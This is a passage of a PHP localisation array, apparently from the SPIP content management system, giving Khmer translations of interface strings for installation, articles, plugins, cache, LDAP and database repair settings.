'install_php_version' => 'កំណែ PHP @version@ មិនគ្រប់សមត្ថភាព (យ៉ាងអន់ = @minimum@))',
'install_select_langue' => 'ជ្រើសយក មួយភាសា រួចចុចលើប្រអប់ « បន្ទាប់ » ដើម្បីផ្ដើម ដំណើរតំលើង។',
'install_select_type_mysql' => 'MySQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_tables_base' => 'ពួកតារាង នៃមូលដ្ឋានទិន្នន័យ',
'install_types_db_connus' => 'SPIP អាចប្រើប្រាស់ <b>MySQL</b> (ញឹកញាប់បំផុត), <b>PostgreSQL</b> និង <b>SQLite</b>.', # MODIF
'intem_redacteur' => 'អ្នកតែងនិពន្ធ',
'intitule_licence' => 'អាជ្ញាបណ្ណ',
'item_accepter_inscriptions' => 'ព្រមទទួល ការចុះឈ្មោះទាំងឡាយ',
'item_activer_messages_avertissement' => 'សកម្ម សារព្រមាន',
'item_administrateur_2' => 'អ្នកអភិបាល',
'item_afficher_calendrier' => 'បង្ហាញចេញ ក្នុងប្រក្រតីទិន',
'item_autoriser_documents_joints' => 'អនុញ្ញាតឯកសារភ្ជាប់ ទៅអត្ថបទ',
'item_autoriser_documents_joints_rubriques' => 'អនុញ្ញាឯកសារភ្ជាប់ ក្នុងផ្នែក',
'item_autoriser_syndication_integrale' => 'បញ្ចូលអត្ថបទទាំងមូលទៅក្នុងហ្វាល (files) បញ្ចូល។',
'item_choix_administrateurs' => 'អ្នកគ្រប់គ្រងប្រព័ន្ធ',
'item_choix_generation_miniature' => 'បង្កើតទម្រង់រូបភាពសង្ខេបច្បាស់ៗដោយស្វ័យប្រវត្ដិ',
'item_choix_non_generation_miniature' => 'មិនបង្កើតទម្រង់រូបភាពសង្ខេបច្បាស់',
'item_choix_redacteurs' => 'អ្នកសរសេរអត្ថបទ',
'item_choix_visiteurs' => 'ពួកទស្សនាករ នៃសៃថ៍សាធារណះ',
'item_creer_fichiers_authent' => 'បង្កើតហ្វាល (files).htpasswd',
'item_limiter_recherche' => 'កំរិត ការស្វែងរក ពត៌មានត្រូវបានបានផ្ទុក ក្នុងសៃថ៍ របស់អ្នក',
'item_login' => 'ការពិនិត្យចូល',
'item_mots_cles_association_articles' => 'អត្ថបទ',
'item_mots_cles_association_rubriques' => 'ផ្នែក',
'item_mots_cles_association_sites' => 'ទៅ សៃថ៍ត្រូវបានយោង ឬ ត្រូវបានបានភ្ជាប់។',
'item_non' => 'ទេ',
'item_non_accepter_inscriptions' => 'មិនអនុញ្ញាតចំពោះការចុះឈ្មោះ',
'item_non_activer_messages_avertissement' => 'គ្មានសាររំលឹក',
'item_non_afficher_calendrier' => 'គ្មានបង្ហាញ ក្នុងប្រក្រតីទិន',
'item_non_autoriser_documents_joints' => 'មិនអនុញ្ញាតចំពោះការបញ្ចូលឯកសារទៅក្នុងអត្ដបទ',
'item_non_autoriser_documents_joints_rubriques' => 'មិនអនុញ្ញាតចំពោះការបញ្ចូលឯកសារទៅក្នុងផ្នែក',
'item_non_autoriser_syndication_integrale' => 'គ្រាន់តែផ្ញើសេចក្ដីសង្ខេប',
'item_non_compresseur' => 'ធ្វើអោយអសកម្ម ការបង្ហាប់',
'item_non_creer_fichiers_authent' => 'មិនបង្កើតឯកសារទាំងនេះ',
'item_non_gerer_statistiques' => 'គ្មានគ្រប់គ្រង ស្ថិតិ',
'item_non_limiter_recherche' => 'ពង្រីកការស្វែងរក ទៅខ្លឹមសារ នៃពួកសៃថ៍យោង',
'item_non_publier_articles' => 'មិនចុះផ្សាយអត្ថបទមុនកាលបរិច្ឆេទចុះផ្សាយរបស់វា',
'item_non_utiliser_moteur_recherche' => 'មិនប្រើប្រាស់កម្មវិធីស្វែងរកវ៉ិបសាយ',
'item_nouvel_auteur' => 'អ្នកសរសេរកម្មវិធីថ្មី',
'item_nouvelle_rubrique' => 'ផ្នែកថ្មី',
'item_oui' => 'បាទ,ចាស',
'item_publier_articles' => 'បោះពុម្ពអត្ថបទដោយមិនគិតអំពីកាលបរិច្ឆេទបោះពុម្ពរបស់វា',
'item_reponse_article' => 'ចំលើយ ទៅអត្ថបទ',
'item_utiliser_moteur_recherche' => 'ប្រើប្រាស់កម្មវិធីស្វែងរកវ៉ិបសាយ',
'item_visiteur' => 'ទស្សនាករ',
// J
'jour_non_connu_nc' => 'គ្មានស្គាល់',
// L
'lien_ajout_destinataire' => 'បន្ថែមអ្នកទទួលនេះ',
'lien_ajouter_auteur' => 'បន្ថែមអ្នកសរសេរកម្មវិធីនេះ',
'lien_ajouter_participant' => 'បន្ថែមអ្នកចូលរួម',
'lien_email' => 'អ៊ីម៉ែល',
'lien_nom_site' => 'ឈ្មោះសៃថ៍៖',
'lien_retirer_auteur' => 'ដកចេញ អ្នកនិពន្ធនេះ',
'lien_retrait_particpant' => 'ដកចេញ អ្នកចូលរួមនេះ',
'lien_site' => 'សៃថ៍',
'lien_supprimer_rubrique' => 'លុបចេញ ផ្នែកនេះ',
'lien_tout_deplier' => 'ពង្រីក ទាំងអស់',
'lien_tout_replier' => 'រួមបញ្ចូលគ្នាទាំងអស់',
'lien_tout_supprimer' => 'លុបចេញ ទាំងអស់',
'lien_trier_nom' => 'ដាក់ជាក្រុមទៅតាមឈ្មោះ',
'lien_trier_nombre_articles' => 'ដាក់ជាក្រុមទៅតាមចំនួនអត្ថបទ',
'lien_trier_statut' => 'ដាក់ជាក្រុមទៅតាមស្ថានភាព',
'lien_voir_en_ligne' => 'មើល លើអិនរើណែត៖',
'logo_article' => 'ឡូហ្គោរបស់អត្ថបទ', # MODIF
'logo_auteur' => 'ឡូហ្គោរបស់អ្នកសរសេរកម្មវិធី', # MODIF
'logo_rubrique' => 'រូបសញ្ញា នៃផ្នែក', # MODIF
'logo_site' => 'រូបសញ្ញា នៃសៃថ៍នេះ', # MODIF
'logo_standard_rubrique' => 'រូបសញ្ញាគំរូ របស់ផ្នែក', # MODIF
'logo_survol' => 'ឡូហ្គោសំកាំង', # MODIF
// M
'menu_aide_installation_choix_base' => 'ការជ្រើសរើសសំណុំទិន្នន័យរបស់លោកអ្នក',
'module_fichier_langue' => 'ហ្វាលភាសា',
'module_raccourci' => 'ផ្លូវកាត់',
'module_texte_affiche' => 'អត្ថបទ ត្រូវបានបង្ហាញចេញ',
'module_texte_explicatif' => 'លោកអ្នកអាចបញ្ចូលផ្លូវកាត់ខាងក្រោមនេះទៅក្នុងទម្រង់វ៉ិបសាយរបស់លោកអ្នក។ ផ្លូវការទាំងនេះនឹងត្រូវបកប្រែដោយស្វ័យប្រវត្ដិទៅជាភាសាផ្សេងៗដែលមាននៅក្នុងហ្វាលភាសា។',
'module_texte_traduction' => 'ហ្វាលភាសារ « @module@ » មាននៅក្នុងៈ',
'mois_non_connu' => 'គ្មានបានស្គាល់',
// O
'onglet_contenu' => 'ខ្លឹមសារ',
'onglet_declarer_une_autre_base' => 'ប្រកាស មួយមូលដ្ឋានទិន្នន័យ ដទៃ',
'onglet_discuter' => 'ពិភាក្សា',
'onglet_documents' => 'ឯកសារ',
'onglet_proprietes' => 'លក្ខណះ',
'onglet_repartition_actuelle' => 'ឥឡូវ',
'onglet_sous_rubriques' => 'ផ្នែករង',
// P
'plugin_erreur_charger' => 'កំហុស៖ គ្មានអាចផ្ទុក @zip@',
'plugin_etat_developpement' => 'ក្នុងដំណើរ អភិវឌ្ឍ',
'plugin_etat_experimental' => 'ដែលពិសោធន៍',
'plugin_etat_stable' => 'នឹង',
'plugin_etat_test' => 'ដែលត្រូវបានពិសោធ',
'plugin_impossible_activer' => 'គ្មានអាចធ្វើអោយសកម្ម plugin @plugin@',
'plugin_info_automatique2' => 'បង្កើត មួយថតឯកសារ <code>@rep@</code> ;',
'plugins_liste' => 'បញ្ជីកម្មវិធីជំនួយ',
'protocole_ldap' => 'វឺសឹន (version) ពិធីការ',
// R
'repertoire_plugins' => 'បញ្ជី (directory)',
// S
'statut_admin_restreint' => '(អ្នកគ្រប់គ្រងប្រព័ន្ធដែលត្រូវហាមឃាត់)', # MODIF
// T
'taille_cache_image' => 'រូបភាព ត្រូវបានគណនា ស្វ័យប្រវត្តិ ដោយ SPIP (ទំរង់សង្ខេប ឯកសារ, ចំណងជើង ត្រូវបានបង្ហាញ ជាក្រាភិក, អនុគមគណិត ជាទំរង់ TeX) មានសរុប @taille@ ក្នុងថតឯកសារ @dir@ ។',
'taille_cache_infinie' => 'សៃថ៍នេះ គ្មានកំណត់ ទំហំថតឯកសារ របស់សតិភ្ជាប់។',
'taille_cache_maxi' => 'SPIP កំពុងព្យាយាមកំណត់នូវទំហំនៃថត (directory) លាក់ខ្លួនទៅតាមទំហំប្រហាក់ប្រហែលនៃ <b>@octets@</b> របស់ទិន្នន័យ។',
'taille_cache_octets' => 'ទំហំថតលាក់ខ្លួនគឺ @octets@ ថ្មីៗ។', # MODIF
'taille_cache_vide' => 'ថតលាក់ខ្លួនទទេ។',
'taille_repertoire_cache' => 'ទំហំបច្ចុប្បន្ននៃថតលាក់ខ្លួន។',
'text_article_propose_publication' => 'អត្ថបទ ត្រូវបានស្នើបោះផ្សាយ។',
'texte_acces_ldap_anonyme_1' => 'ម៉ាស៊ីនមេLDAP មួយចំនួនមិនអនុញ្ញាតចំពោះការប្រើប្រាស់ជាលក្ខណៈអនាមិកនោះទេ។ នៅក្នុងករណីនេះ លោកអ្នកត្រូវបង្ហាញនូវអ្នកកំណត់អត្ដសញ្ញាណក្នុងការប្រើប្រាស់ដំបូង ដើម្បីអាចស្វែងរកព័ត៌មាននៅក្នុងថត (directory) បន្ទាប់ពីនោះ។ ប៉ុន្ដែ នៅក្នុងករណីភាគច្រើនក្រឡោនខាងក្រោមនេះអាចទុកចំហដដែល។',
'texte_admin_effacer_01' => 'បញ្ជានេះលុប <i>all</i> ខ្លឹមសារនៃសំណុំទិន្នន័យ រាប់បញ្ចូលទាំង <i>all</i> លក្ខណៈតម្រូវសំរាប់ការប្រើប្រាស់របស់អ្នកសរសេរអត្ថបទ និងអ្នកគ្រប់គ្រងប្រព័ន្ធ។ បន្ទាប់ពីប្រើប្រាស់វា លោកអ្នកត្រូវតំឡើង SPIP ជាថ្មី ដើម្បីបង្កើតទិន្នន័យថ្មី និងការប្រើប្រាស់អ្នកគ្រប់គ្រងលើកទីមួយម្ដងទៀត។',
'texte_adresse_annuaire_1' => '(ប្រសិនបើថតរបស់លោកអ្នកត្រូវបានតំឡើងនៅក្នុងម៉ាស៊ីនតែមួយដូចគ្នានឹងវ៉ិបសាយរបស់លោកអ្នក វាអាច «localhost»)',
'texte_ajout_auteur' => 'អ្នកសរសេរកម្មវិធីខាងក្រោមត្រូវបានបញ្ចូលទៅក្នុងអត្ថបទៈ',
'texte_annuaire_ldap_1' => 'ប្រសិនបើលោកអ្នកអាចប្រើប្រាស់ថត (directory) (LDAP) លោកអ្នកអាចប្រើប្រាស់វាដើម្បីបញ្ចូលអ្នកប្រើប្រាស់ក្រោម SPIP ដោយស្វ័យប្រវត្ដិ។',
'texte_article_statut' => 'ស្ថានភាពអត្ថបទ',
'texte_article_virtuel' => 'អត្ថបទជាក់ស្ដែង',
'texte_article_virtuel_reference' => '<b>Virtual article:</b> អត្ថបទយោងនៅក្នុងវ៉ិបសាយ SPIP របស់លោកអ្នក ប៉ុន្ដែត្រូវកំណត់ទិសដៅថ្មីទៅកាន់ URL មួយផ្សេងទៀត។ ដើម្បីលុបការកំណត់ទិសដៅជាថ្មីនេះ សូមលុបURL ខាងលើ។',
'texte_aucun_resultat_auteur' => 'គ្មានលទ្ធផលសំរាប់ \\"@cherche_auteur@\\"។',
'texte_auteur_messagerie' => 'វ៉ិបសាយនេះអាចតាមដានជាបន្ដបន្ទាប់នូវបញ្ជីអ្នកសរសេរអត្ថបទដែលបានភ្ជាប់ ដែលអនុញ្ញាតឱ្យលោកអ្នកដោះដូរសារតាមពេលជាក់ស្ដែង។ លោកអ្នកអាចសំរេចមិនបង្ហាញខ្លួននៅក្នុងបញ្ជីនេះ (ដូច្នេះលោកអ្នកស្ថិតក្នុងសភាព “មើលមិនឃើញ” (\\"invisible\\") សំរាប់អ្នកប្រើប្រាស់ផ្សេងទៀត។)',
'texte_auteur_messagerie_1' => 'វ៉ិបសាយនេះអនុញ្ញាតចំពោះការដោះដូរសារ និងការបង្កើតវេទិកាពិភាក្សាឯកជនរវាងអ្នកចូលរួមនៅក្នុងវ៉ិបសាយ។ លោកអ្នកអាចសំរេចមិនចូលរួមក្នុងការដោះដូរនេះ។',
'texte_auteurs' => 'អ្នកសរសេរកម្មវិធី',
'texte_choix_base_1' => 'ជ្រើសយក មូលដ្ឋានទិន្នន័យ របស់អ្នក៖',
'texte_choix_base_2' => 'ម៉ាស៊ីនមេMySQL មានសំណុំទិន្នន័យច្រើន។',
'texte_choix_base_3' => '<b>ជ្រើសយក</b> ខាងក្រោម អ្វីដែល ខំព្យូរើផ្ទុកវ៉ែបសៃថ៍ របស់អ្នក បានផ្គត់ផ្គង់ អ្នក៖',
'texte_commande_vider_tables_indexation' => 'ប្រើប្រាស់បញ្ជានេះដើម្បីលុបតារាងលិបិក្រមដែលប្រើប្រាស់ដោយកម្មវិធីស្វែងរកវ៉ិបសាយដែលបញ្ចូលនៅក្នុង SPIP។ វានឹងអនុញ្ញាតឱ្យលោកអ្នកសន្សំបានទំហំថាសខ្លះ។',
'texte_compresse_ou_non' => '(នេះអាចត្រូវបង្រួម ឬមិនអាច)',
'texte_compte_element' => 'សមាសធាតុ',
'texte_compte_elements' => 'សមាសធាតុ',
'texte_connexion_mysql' => 'ពិនិត្យពត៌មាន បានផ្តល់ដោយ ក្រុមហ៊ុនផ្តល់សេវា របស់អ្នក។ វាប្រហែលមានផ្ទុក អក្សរកូដភ្ជាប់ សំរាប់ខំព្យូរើបំរើសេវា SQL។',
'texte_contenu_article' => '(ខ្លឹមសារអត្ថបទដោយសង្ខេប)',
'texte_contenu_articles' => 'ដោយផ្អែកលើទម្រង់ដែលជ្រើសរើសសំរាប់វ៉ិបសាយរបស់លោកអ្នក លោកអ្នកអាចសំរេចថាធាតុនៃអត្ថបទខ្លះមិនត្រូវបានប្រើ។ សូមប្រើបញ្ជីខាងក្រោមដើម្បីជ្រើសរើសធាតុដែលគួរមាន។',
'texte_crash_base' => 'បើមូលដ្ឋានទិន្នន័យ របស់អ្នក បានខូច, អ្នកអាចព្យាយាម ជួសជុលវា ស្វ័យប្រវត្តិ។',
'texte_creer_rubrique' => 'មុនអាចសរសេរ អត្ថបទ<br /> អ្នកត្រូវតែបង្កើត មួយផ្នែក។',
'texte_date_creation_article' => 'កាលបរិច្ឆេទបង្កើតអត្ថបទៈ',
'texte_date_publication_anterieure' => 'កាលបរិច្ឆេទបោះពុម្ពមុនគេៈ',
'texte_date_publication_anterieure_nonaffichee' => 'លាក់កាលបរិច្ឆេទការបោះពុម្ពមុនគេ',
'texte_date_publication_article' => 'ថ្ងៃខែឆ្នាំ បោះផ្សាយ លើអិនរើណែត ៖',
'texte_descriptif_petition' => 'លក្ខណបដ្ឋនាលិខិត',
'texte_descriptif_rapide' => 'ការពិពណ៌នារហ័ស',
'texte_effacer_base' => 'លុបសំអាត មូលដ្ឋានទិន្នន័យ SPIP',
'texte_effacer_donnees_indexation' => 'លុបទិន្នន័យលិបិក្រម',
'texte_effacer_statistiques' => 'លុបចេញ ស្ថិតិ',
'texte_en_cours_validation' => 'អត្ថបទ និងពត៌មានខ្លី ខាងក្រោម ត្រូវបានស្នើ បោះផ្សាយ។', # MODIF
'texte_enrichir_mise_a_jour' => 'លោកអ្នកអាចកែលំអទម្រង់អត្ថបទរបស់លោកអ្នក ដោយប្រើប្រាស់ «typographical shortcuts».',
'texte_fichier_authent' => '<b>តើ SPIP គួរបង្កើត <tt>.htpasswd</tt> និងហ្វាល<tt>.htpasswd-admin</tt> នៅក្នុងថត @dossier@?</b><p> ហ្វាលទាំងនេះអាចត្រូវបានប្រើប្រាស់ដើម្បីកំណត់ចំពោះការប្រើប្រាស់របស់អ្នកសរសេរកម្មវិធី និងអ្នកគ្រង់គ្រងនៅក្នុងផ្នែកមួយផ្សេងទៀតនៃវ៉ិបសាយរបស់លោកអ្នក (ឧទាហរណ៍ កម្មវិធីស្ថិតិខាងក្រៅ)។</p><p> ប្រសិនបើលោកអ្នកមិនត្រូវការហ្វាលបែបនេះ លោកអ្នកអាចទុកជម្រើសនៅក្នុងតម្លៃដើម (គ្មានការបង្កើតហ្វាល)។</p>', # MODIF
'texte_informations_personnelles_1' => 'ប្រព័ន្ធនឹងផ្ដល់ជូនលោកអ្នកនូវលទ្ធភាពប្រើប្រាស់ធម្មតានូវវ៉ិបសាយនេះ។',
'texte_informations_personnelles_2' => '(ចំណាំ៖ បើវាជា មួយការតំលើងឡើងវិញ, និងការចូលទៅ របស់អ្នក នៅតែធ្វើការ, អ្នកអាច', # MODIF
'texte_introductif_article' => '(អត្ថបទសេចក្ដីផ្ដើមនៃអត្ថបទនេះ)',
'texte_jeu_caractere' => 'លោកអ្នកគួរតែប្រើប្រាស់អក្ខរាវិរុទ្ធសកល',
'texte_jeu_caractere_2' => 'ការកំណត់នេះមិនបំលែងអត្ថបទដែលបានរក្សាទុកនៅក្នុងសំណុំទិន្នន័យរួចហើយទេ',
'texte_jeu_caractere_3' => 'សៃថ៍ របស់អ្នក បច្ចុប្បន្ន ប្រើប្រាស់កញ្ចប់អក្សរនេះ ៖',
'texte_jeu_caractere_4' => 'ប្រសិនបើមិនអាចឆ្លើយតបចំពោះស្ថានភាពដែលលោកអ្នកមានជាមួយនឹឹងទិន្នន័យរបស់លោកអ្នក (ឧទាហរណ៍ បន្ទាប់ពីសើរើសំណុំទិន្នន័៏យពីហ្វាលថតទុក) ឬប្រសិនបើ <em>លោកអ្នកកំពុងកំណត់វ៉ិបសាយនេះ</em> និងត្រូវការប្រើប្រាស់សំណុំតួអក្សរផ្សេង សូមបង្ហាញសំណុំតួអក្សរនៅទីនេះៈ',
'texte_jeu_caractere_conversion' => 'ចំណាំ៖ អ្នកអាចសំរេចបំលែងម្តង គ្រប់អត្ថបទ (ប្រកាស, ខ្ទង់ដំណឹង, ទីប្រជុំមតិ, ...) នៃវ៉ែបសៃថ៍ របស់អ្នក និង សំរាប់ទាំងអស់ទៅកញ្ចប់អក្សរ <tt>utf-8</tt>។ ដើម្បីធ្វើនេះ, ចូលទៅ <a href="@url@">ទំព័របំលែង UTF-8 </a>។',
'texte_lien_hypertexte' => '(បើសារ របស់អ្នក សំដៅមួយអត្ថបទ បានបោះផ្សាយ លើវ៉ែបសៃថ៍, ឬ ទៅ មួយទំព័រផ្តល់បន្ថែមពត៌មាន, សូមបញ្ចូលទីនេះ ចំណងជើង នៃទំព័រ និងអាសយដ្ឋាន URL របស់វា។)',
'texte_login_ldap_1' => '(ត្រូវទុកប្រអប់ភ្ជាប់អនាមិក ឬចូលទៅផ្លូវពេញលេញ ឧទាហរណ៍ «<tt>uid=smith, ou=users, dc=my-domain, dc=com</tt>»)។',
'texte_login_precaution' => 'ប្រយត្ន៖ នេះជាការពិនិត្យចូល ជាមួយអ្វី ដែលអ្នកបានភ្ជាប់ ពេលនេះ។ ប្រើប្រាស់ បែបបទនេះ ដោយប្រយត្ន...',
'texte_message_edit' => 'ប្រយត្ន៖ សារនេះ អាចត្រូវបានផ្លាស់ប្តូរ ដោយពួកអ្នកអភិបាលសៃថ៍, និងអាចមើលឃើញ ដោយ គ្រប់អ្នកនិពន្ធអត្ថបទ។ សូមប្រើប្រាស់ ជំនូនដំណឹង សំរាប់ត្រឹមស្តែងចេញ រាល់ព្រឹត្តិការសំខាន់ នៃជីវិត របស់សៃថ៍។',
'texte_mise_a_niveau_base_1' => 'លោកអ្នកទើបតែបានកែសម្រួលហ្វាលSPIP។ ឥឡូវលោកអ្នកត្រូវតែកែលំអសំណុំទិន្នន័យរបស់វ៉ិបសាយនេះ',
'texte_modifier_article' => 'កែប្រែ អត្ថបទ៖',
'texte_moteur_recherche_active' => '<b>កម្មវិធីស្វែងរកវ៉ិបសាយត្រូវបានបើកមុខងារ។</b> សូមប្រើប្រាស់បញ្ជានេះ ប្រសិនបេលោកអ្នកមានបំណងអនុវត្ដការរៀបចំលិបិក្រមជាថ្មីយ៉ាងរហ័សមួយនោះ (ឧទាហរណ៍កែលំអការថតទុក។) លោកអ្នកត្រូវកត់សំគាល់ថាឯកសារដែលបានកែសម្រួលតាមវ៉ិធីធម្មតា (តាមរយៈការភ្ជាប់ប្រព័ន្ធជាមួយនឹង SPIP) គឺត្រូវបានរៀបចំលិបិក្រមជាថ្មីម្ដងទៀតដោយស្វ័យប្រវត្ដិៈ ៖ ដូច្នេះហើយបញ្ជានេះមានប្រយោជន៍តែនៅក្នុងកាលៈទេសៈលើកលែងប៉ុណ្ណោះ។',
'texte_moteur_recherche_non_active' => 'កម្មវិធីស្វែងរកវ៉ិបសាយមិនត្រូវបានបើកឱ្យមានមុខងារទេ។',
'texte_multilinguisme' => 'ប្រសិនបើលោកអ្នកមានបំណងគ្រប់គ្រងអត្ថបទជាភាសាច្រើន ដែលមានដំណើរការស្មុគស្មាញ លោកអ្នកអាចបន្ថែមបញ្ជីភាសាមួយទៅក្នុងអត្ថបទ និង/ឬផ្នែក ទៅតាមការរៀបចំនៃវ៉ិបសាយរបស់លោកអ្នក។', # MODIF
'texte_multilinguisme_trad' => 'លោកអ្នកក៏អាចបើកមុខងារប្រព័ន្ធគ្រប់គ្រងទំនាក់ទំនងក្នុងចំណោមអត្ថបទបកប្រែជាច្រើនភាសា។', # MODIF
'texte_non_compresse' => '<i>uncompressed</i> (ម៉ាស៊ីនមេរបស់លោកអ្នកមិនប្រើប្រាស់ជាមួយនឹងលក្ខណៈនេះទេ)',
'texte_nouveau_message' => 'សារថ្មី',
'texte_nouvelle_version_spip_1' => 'អ្នក បានតំលើង កំណែថ្មី នៃ SPIP។',
'texte_nouvelle_version_spip_2' => 'វើសឹនថ្មីនេះតម្រូវឱ្យមានការកែសម្រួលលំអិតជាការកែសម្រួលធម្មតា។ ប្រសើនបើលោកអ្នកគឺជាអ្នករចនាវ៉ិបសាយនេះ សូមលុបហ្វាល @connect@ និងចាប់ផ្ដើមតំឡើងដើម្បីអាចកែសម្រួលលក្ខណៈទំនាក់ទំនងសំណុំទិន្នន័យរបស់លោកអ្នក។ <p>(NB.: ប្រសិនបើលោកអ្នកបានភ្លើចលក្ខណៈទំនាក់ទំនងរបស់លោកអ្នក សូមមើលក្នុងហ្វាល@ មុននឹងលុបវា!)</p>', # MODIF
'texte_operation_echec' => 'ត្រលប់ទៅ ទំព័រមុន, ជ្រើសយក មួយមូលដ្ឋានទិន្នន័យដទៃ ឬបង្កើតមួយថ្មី។ ផ្ទៀងពត៌មាន ផ្តល់ដោយ ខំព្យូរើ របស់អ្នក។',
'texte_plus_trois_car' => 'លើសពី ៣ អក្សរ',
'texte_plusieurs_articles' => 'ឃើញមានអ្នកសរសេរកម្មវិធីសំរាប់ \\"@cherche_auteur@\\":',
'texte_port_annuaire' => '(តម្លៃដើមជាទូទៅមានលក្ខណៈថេរ)។',
'texte_presente_plugin' => 'ទំព័រនេះរាយអំពីកម្មវិធីបន្ថែមដែលមាននៅក្នុងវ៉ិបសាយ។ បើកមុខងាររបស់កម្មវិធីបន្ថែម លោកអ្នកត្រូវគូសក្នុងប្រអប់ដែលត្រូវគ្នានោះ។',
'texte_proposer_publication' => 'នៅពេលដែលអត្ថបទលោកអ្នកត្រូវបានបញ្ចប់br /> លោកអ្នកអាចបញ្ជូនវាដើម្បីចុះផ្សាយ។',
'texte_proxy' => 'នៅក្នុងករណីខ្លះ (អ៊ីនត្រាណិត បណ្ដាញដែលត្រូវការពារ......) វាជាការចាំបាច់ដែលត្រូវប្រើប្រាស់ <i>proxy HTTP</i> ដើម្បីបើកវ៉ិបសាយដែលបានបញ្ចូល។ ប្រសិនបើមានតំណាងមួយ សូមបញ្ចូលអាសយដ្ឋានរបស់វាខាងក្រោម ដូច្នេះ <tt><html>http://proxy:8080</html></tt>។ ជាទូទៅ លោកអ្នកអាចទុកប្រអប់នេះឱ្យនៅទំនេរបាន។',
'texte_publication_articles_post_dates' => 'តើឥរិយាបថមួយណាដែល SPIP ត្រូវប្រើ ទាក់ទិនទៅនឹងអត្ថបទដែលកំណត់សំរាប់ការចុះផ្សាយនៅអនាគត?',
'texte_rappel_selection_champs' => '[ចាំថា ត្រូវជ្រើសរើសប្រអប់នេះឱ្យបានត្រឹមត្រូវ។]',
'texte_recalcul_page' => 'ប្រសិនបើលោកអ្នកត្រូវការសម្រួលឡើងវិញុ (refresh) តែមួយទំព័រ លោកអ្នកត្រូវធ្វើវាពីផ្នែកសាធារណៈ និងប្រើប្រាស់ប៊ូតុង « refresh ».',
'texte_recapitiule_liste_documents' => 'ទំព័រនេះ សរុប បញ្ជីនៃឯកសារដែលអ្នកបានដាក់ ក្នុងផ្នែក។ ដើម្បីផ្លាស់ប្តូរ រាល់ពត៌មាននៃឯកសារ, ធ្វើតាមតំណភ្ជាប់ ទៅទំព័រផ្នែក របស់វា។',
'texte_recuperer_base' => 'ជួសជុលសំណុំទិន្នន័យ',
'texte_reference_mais_redirige' => 'អត្ថបទយោងនៅក្នុងវ៉ិបសាយSPIP របស់លោកអ្នក ប៉ុន្ដែត្រូវបានកំណត់ទិសដៅជាថ្មីទៅរកURL មួយផ្សេងទៀត។',
'texte_requetes_echouent' => '<b>នៅពេលដែលសំណួរ MySQL មិនដំណើរការជាលក្ខណៈប្រព័ន្ធ និងដោយគ្មានហេតុផលច្បាស់លាស់ វាអាចដោយសារសំណុំទិន្នន័យផ្ទាល់របស់វានោះ។</b><p> MySQL មានលក្ខណៈជួសជុលនូវតារាងរបស់ខ្លួនទៅតាមការសំរេចរបស់ខ្លួន នៅពេលដែលពួកវាមានការខូចខាតដោយចៃដន្យ។ លោកអ្នកអាចព្យាយាមធ្វើការជួសជុលបែបនេះ នៅក្នុងករណីមានការខូចខាត លោកអ្នកត្រូវរក្សាច្បាប់ថតចំលងនៃផ្ទាំងបង្ហាញ ដែលអាចមានគន្លឹះមួយចំនួនស្ដីពីអ្វីដែលខុសប្រក្រតី...</p><p> ប្រសិនបើបញ្ហាទាំងនោះមិនអាចដោះស្រាយបាន សូមទាក់ទងទៅម៉ាស៊ីនកូនរបស់លោកអ្នក។ host.</p>', # MODIF
'texte_selection_langue_principale' => 'អ្នក អាចជ្រើសយក "ភាសាចំបង" ខាងក្រោម នៃសៃថ៍។ គ្មានន័យថា អ្នកអាច ត្រឹមសរសេរ អត្ថបទ ក្នុងភាសា បានជ្រើសយក,ប៉ុន្តែ កំណត់<ul><li> ទំរង់លំនាំដើម នៃថ្ងៃខែឆ្នាំ លើសៃថ៍សាធារណះ </li>
<li>លក្ខណះនៃឧបកររៀបពុម្ភអក្សរ ដែលនឹងត្រូវបានប្រើប្រាស់ ដោយ SPIP សំរាប់ បង្កើតអត្ថបទ;</li>
<li> ភាសា ត្រូវបានប្រើប្រាស់ ក្រោមរូបភាព ជាសៃថ៍សាធារណះ</li>
<li> ភាសាលំនាំដើម បានបង្ហាញចេញ ក្នុងផ្នែកឯកជន។</li></ul>',
'texte_sous_titre' => 'ចំណងជើងរង',
'texte_statistiques_visites' => '(របារខ្មៅៈថ្ងៃអាទិត្យ/កំណោងខ្មៅៈ កំរិតមធ្យម',
'texte_statut_attente_validation' => 'ការរង់ចាំការផ្ដល់សុពលភាព',
'texte_statut_publies' => 'បានបោះផ្សាយ លើអិនរើណែត',
'texte_statut_refuses' => 'ត្រូវបានបដិសេធ',
'texte_suppression_fichiers' => 'ប្រើប្រាស់បញ្ជានេះដើម្បីលុបហ្វាលទាំងអស់នៅក្នុងសំណុំហ្វាលលាក់ខ្លួនរបស់ SPIP។ វាអនុញ្ញាតឱ្យលោកអ្នក បង្ខំការសម្រួលដំណើរការឡើងវិញនូវទំព័រទាំងអស់ ក្នុងចំណោំអ្វីផ្សេងៗទៀត នៅក្នុងករណីលោកអ្នកបានធើការកែប្រែសំខាន់ៗទៅលើក្រាហ្វិក ឬរចនាសម្ព័ន្ធរបស់វ៉ិបសាយ។',
'texte_sur_titre' => 'ចំណងជើងកំពូល',
'texte_table_ok' => '៖ តារាងនេះគឺត្រឹមត្រូវ',
'texte_tables_indexation_vides' => 'តារាងលិបិក្រមនៃម៉ាស៊ីនគឺទទេ',
'texte_tentative_recuperation' => 'ការប៉ុនប៉ងជួសជុល',
'texte_tenter_reparation' => 'ការប៉ុនប៉ងជួសជុលសំណុំទិន្នន័យ',
'texte_test_proxy' => 'ដើម្បីពិសោធតំណាងនេះ សូមបញ្ចូលអាសយដ្ឋានវ៉ិបសាយដែលលោកអ្នកត្រូវការពិសោធន៍',
'texte_titre_02' => 'ប្រធានបទៈ',
'texte_titre_obligatoire' => '<b>Title</b> [ចាំបាច់]',
'texte_travail_article' => 'បានដំណើរការលើអត្ថបទនេះ @date_diff@ នាទីក្រោមមក',
'texte_travail_collaboratif' => 'ប្រសិនបើជារឿយៗ មានអ្នកសរសេរកម្មវិធីច្រើនអាចធ្វើការងារលើអត្ថបទតែមួយ ប្រព័ន្ធអាចកត់សំគាល់ការងារថ្មីជាងគេ «opened»។ អត្ថបទត្រូវរៀបចំឱ្យមានរបៀបរៀបរយ ដើម្បីជៀសវាងការកែប្រែរួមគ្នាដែលធ្វើឡើង។ ជម្រើសនេះត្រូវបានបិទមុខងារដោយក្រុមហ៊ុនផលិត ដើម្បីជៀសវាពីការរំលឹកមិនចាំបាច់។ សារ។',
'texte_trop_resultats_auteurs' => 'លទ្ធផលច្រើនជ្រុលសំរាប់\\"@cherche_auteur@\\"។ សូមកំណត់ការស្វែងរកជាថ្មី។',
